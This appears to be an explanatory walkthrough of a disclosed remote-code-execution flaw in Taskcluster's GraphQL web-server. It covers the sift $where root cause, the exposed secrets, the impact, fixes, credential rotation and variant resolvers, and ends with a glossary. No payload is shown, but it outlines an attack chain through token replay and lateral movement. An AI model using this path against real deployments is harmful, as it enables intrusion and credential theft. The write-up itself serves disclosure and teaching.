NODE_ENV=productionsays the software is running in its live, real-world mode rather than a test mode.NODE_VERSION=24.15.0is the version of Node.js.TASKCLUSTER_ROOT_URLis the address of the deployment itself.TASKCLUSTER_CLIENT_IDnames the identity the web-server uses when it talks to Taskcluster.TASKCLUSTER_ACCESS_TOKENis the secret half of that identity, the wristband mentioned earlier. The report notes it is 65 characters long.READ_DB_URLandWRITE_DB_URLare database connection strings. A connection string packs the address, the username and the password into one line. Here the username istaskcluster_web_serverand the password is redacted. Read and write are separate: one for looking, one for changing.DB_CRYPTO_KEYSholds a key used to encrypt and decrypt certain database columns, with the algorithmaes-256and key idazure.PULSE_USERNAMEandPULSE_PASSWORDare credentials for Pulse, a message broker, which is a system that passes messages between programs.UI_LOGIN_STRATEGIESholds the settings for logging in through Auth0, including aclientIdand aclientSecret. A client secret is the password a program uses when it identifies itself to a login provider.ERROR_CONFIGholds a Sentry DSN, an address used to send crash reports to a monitoring service.SESSION_SECRET=FIXMEis the key used to sign session cookies. It is set to the literal wordFIXME, which is a placeholder someone forgot to replace.
community-tc returns the equivalent set with its own database credentials, access token, Pulse password and a GitHub OAuth clientSecret. On both instances SESSION_SECRET is the literal string FIXME.
Root cause: why it worked
The mistake is architectural: a client-controlled JSON object is handed to a query library that supports executable operators. "Architectural" means the problem is in how the pieces were put together, not a typo in one line.
sift's $where operator exists to accept a function, and when given a string it falls back to new Function unless CSP_ENABLED is set. The web-server's wrapper in utils/sift.js neither validates the filter nor restricts the operator set, so the fallback is reachable from the network. "Reachable from the network" is the crucial phrase: the dangerous behaviour is not hidden behind a login or an internal tool.
Two design decisions turn a library quirk into an unauthenticated RCE. First, the credentials middleware calls next() when no Authorization header is present, so anonymous callers reach resolvers. Second, the anonymous role on the deployment carries the scopes the loaders need, so the upstream call succeeds and sift is actually invoked on a non-empty array. The expandScopes resolver makes this deterministic because the upstream handler echoes back the scopes sent, so ["assume:anonymous"] always yields a non-empty array. Deterministic means it works every time, not just when the stars align.
Finally, formatError.js forwards err.message to the client. That is what makes the injected code's return value readable, but it is not what makes the bug exploitable: the code runs regardless. This distinction matters. The error forwarding is a convenience for the attacker, like a printer; the vulnerability is the execution itself.
Impact: what an attacker could reach
The report describes anonymous, internet-facing code execution on the deployment that builds Firefox, and argues that the exposed environment variables turn it into total compromise without further exploitation:
- Database credentials:
READ_DB_URLandWRITE_DB_URLprovide live PostgreSQL credentials for the Taskcluster database. PostgreSQL is a database system; credentials for it mean the attacker can read and change stored data directly. - Deployment access token:
TASKCLUSTER_ACCESS_TOKENis the web-server's own deployment client. Combined with database access, an attacker controls the entire Taskcluster instance. - OAuth secrets:
UI_LOGIN_STRATEGIEScontains the Auth0 client secret onfirefox-ci-tcand the GitHub OAuth client secret oncommunity-tc, enabling attacks on the login flow. OAuth is the mechanism behind "log in with GitHub" style buttons; its client secret is what lets a program act as the application. - Broken session security:
SESSION_SECRETis set toFIXME, allowing session cookies to be forged offline independently of this vulnerability. Forged means made up but accepted as genuine; offline means without touching the server at all. - Database encryption keys:
DB_CRYPTO_KEYSdecrypts encrypted database columns. Encryption scrambles data so only key holders can read it; holding the key undoes that protection. - Message queue credentials:
PULSE_PASSWORDprovides access to the Pulse message broker, so the attacker could read or inject messages flowing between systems.
On attack surface, the report notes full shell access inside the pod as the node user, reachability of the internal Kubernetes service network (auth, queue, hooks, secrets, object and worker-manager all resolve from the environment) as a foothold for lateral movement, and the ability to replay TASKCLUSTER_ACCESS_TOKEN directly against the Taskcluster API as the static/taskcluster/web-server client, including the secrets service at /api/secrets/v1. Replay means taking a token captured in one place and using it somewhere else; it works because the token itself is the proof.
The impact chain is summarised as one unauthenticated POST to /graphql, then cluster-level credential access, then full Taskcluster instance compromise. The vulnerability was validated on both firefox-ci-tc and community-tc. Because the code exists in the taskcluster main branch, the report states that any organisation running Taskcluster is exposed and that an upstream security advisory should accompany the fix. The main branch is the shared, current version of the code that everyone builds from, so the flaw is not unique to Mozilla's copy.
Fix: what should change
The report recommends, in order of preference:
- Remove sift from the untrusted input path. Do not run sift on the raw
filter. Map the GraphQL filter onto an allowlist of fields and comparison operators and apply filtering directly, or push filtering down to the upstream service. An allowlist is a list of things that are permitted, and everything else is refused; the opposite of a blocklist, which tries to name everything forbidden. - Restrict sift operations. If sift must be used, build the query tester with a restricted operations set that excludes
$where, and reject any$-prefixed key not explicitly supported before sift processes it. The$prefix is how sift marks its special operators, so refusing unknown$keys closes the door on surprises. - Input validation. Reject
$whereat the validation layer and givefiltera real input type instead of an open JSON scalar. A scalar is a GraphQL type for a single simple value; an open JSON scalar accepts anything at all, which is exactly the problem.
Setting process.env.CSP_ENABLED makes sift throw on a string $where, but the report calls this a fragile mitigation, not a proper fix. Fragile because it depends on one setting staying in place; a proper fix removes the dangerous path entirely.
Additional hardening suggested: set a proper SESSION_SECRET (currently FIXME in production), and consider running the web-server under a sandbox that blocks spawning child processes, limiting the impact of future JavaScript execution vulnerabilities. A sandbox is a restricted environment that limits what a program is allowed to do, so even if code runs, it cannot reach far.
The report also lists credentials to rotate, treating the entire web-server environment on both instances as compromised: WRITE_DB_URL and READ_DB_URL (PostgreSQL user taskcluster_web_server), TASKCLUSTER_ACCESS_TOKEN (client static/taskcluster/web-server), the Auth0 clientSecret on firefox-ci-tc and the GitHub OAuth clientSecret on community-tc, DB_CRYPTO_KEYS (aes-256, key id azure), PULSE_PASSWORD (users firefoxcitc-taskcluster-web-server-v2 and communitytc-taskcluster-web-server-v2), the ERROR_CONFIG Sentry DSNs, and SESSION_SECRET. The exact values were deliberately excluded from the report; the researcher offered to provide them over an encrypted channel or as SHA-256 fingerprints if proof of access were required. A fingerprint is a short code derived from a secret that proves you have it without revealing it, like showing a wax seal without opening the letter.
Variants to test: where else to look
The report names several other resolvers that follow the same resolver and loader pattern and therefore accept the same filter: roles, listRoleIds, hookGroups, hooks and currentScopes. The report names these resolvers as following the same pattern; it does not confirm exploitation through them. A positive result looks like the computed marker from step 1 coming back in the errors[].message field, or command output if the injected function throws it.
Parsing means reading text and understanding its shape; execution means doing what the text says. Only the second is dangerous.
Hunting notes: how to think about this kind of bug
A seam is where two parts meet, and it is often where assumptions differ: the library assumes its input is written by a programmer, the API accepts input from strangers.
Recon, short for reconnaissance, means looking around before attacking: reading documentation, watching requests, noting what the software is built from.
It turns a lucky situation into a repeatable one.
The report notes that the exact secret values were withheld and offered over an encrypted channel. A ticket is the shared page where a bug report is discussed; anything written there may be read by many people, so secrets do not belong in it.
Glossary
- Allowlist: a list of things that are explicitly permitted, with everything else refused.
- Anonymous: without proof of identity; unauthenticated.
- API: a fixed set of questions one program is allowed to ask another, and the machinery that answers them.
- Argument: an input attached to a query, like a search box next to a list.
- Array: a list of items in programming.
- Authentication: proving who you are.
- Authorisation: what you are allowed to do once identified.
- Client: the program making a request, usually a browser.
- Cookie: a small piece of data a website stores in your browser and receives back on each visit, often used to remember a login.
- Credential rotation: replacing exposed passwords, tokens and keys with fresh ones so old copies stop working.
- CSP (Content Security Policy): a safety setting meant to block certain kinds of injected code.
- curl: a command-line tool for sending web requests by hand.
- Dependency: a library a project relies on.
- Deterministic: producing the same result every time, not depending on chance.
- Endpoint: one specific address on a server that accepts requests.
- Environment variables: named settings the operating system hands a program at startup, often including secrets.
- Fingerprint (SHA-256): a short code derived from a secret that proves possession without revealing the secret.
- GraphQL: an API style where the client sends one structured question describing exactly which data it wants.
- Header: a small labelled line attached to a request carrying extra information.
- JSON: a plain text format for structured data built from braces, brackets, names and values.
- Kubernetes: software that manages containerised applications across many machines.
- Lateral movement: using access to one machine to reach others on the same internal network.
- Library: ready-made code a project reuses instead of writing it itself.
- Loader: the part of a server that fetches the data a resolver needs.
new Function: a JavaScript feature that builds a new function from a piece of text, then runs it.- Node.js: a program that runs JavaScript outside a browser, typically on servers.
- OAuth: a login mechanism where one service lets a program act on your behalf; its client secret identifies the program.
- Parsing: reading text and understanding its shape, without doing what it says.
- Pod: a small isolated unit in which a containerised application runs under Kubernetes.
- POST request: a request that carries data and asks the server to act on it.
- Proof of concept (PoC): a small script that demonstrates a vulnerability so others can confirm it.
- Recon: looking around a target before attacking, to learn what it is built from.
- Remote code execution (RCE): running an attacker's instructions on someone else's machine over a network.
- Replay: reusing a captured token somewhere else; it works because the token itself is the proof.
- Resolver: the piece of server code that answers a particular query.
- Role: a named bundle of permissions.
- Sandbox: a restricted environment that limits what a program may do.
- Scalar: a GraphQL type for a single simple value; an open JSON scalar accepts anything.
- Scope: one individual permission, written as a short label.
- Seam: the boundary where two parts of a system meet, often where assumptions differ.
- Server: a computer that waits for requests and answers them.
- Session secret: the key used to sign session cookies, so they cannot be forged.
- Shell: the text interface to an operating system, where commands are typed.
- sift: a JavaScript library for filtering lists of data, which supports a
$whereoperator. - Token: a short secret string that proves identity, like a wristband at an event.
- Unauthenticated: without proof of identity.
- Upstream: the service further back in the chain that a server calls to get data.
$where: a sift operator that accepts a test; given text, it turns that text into executable code.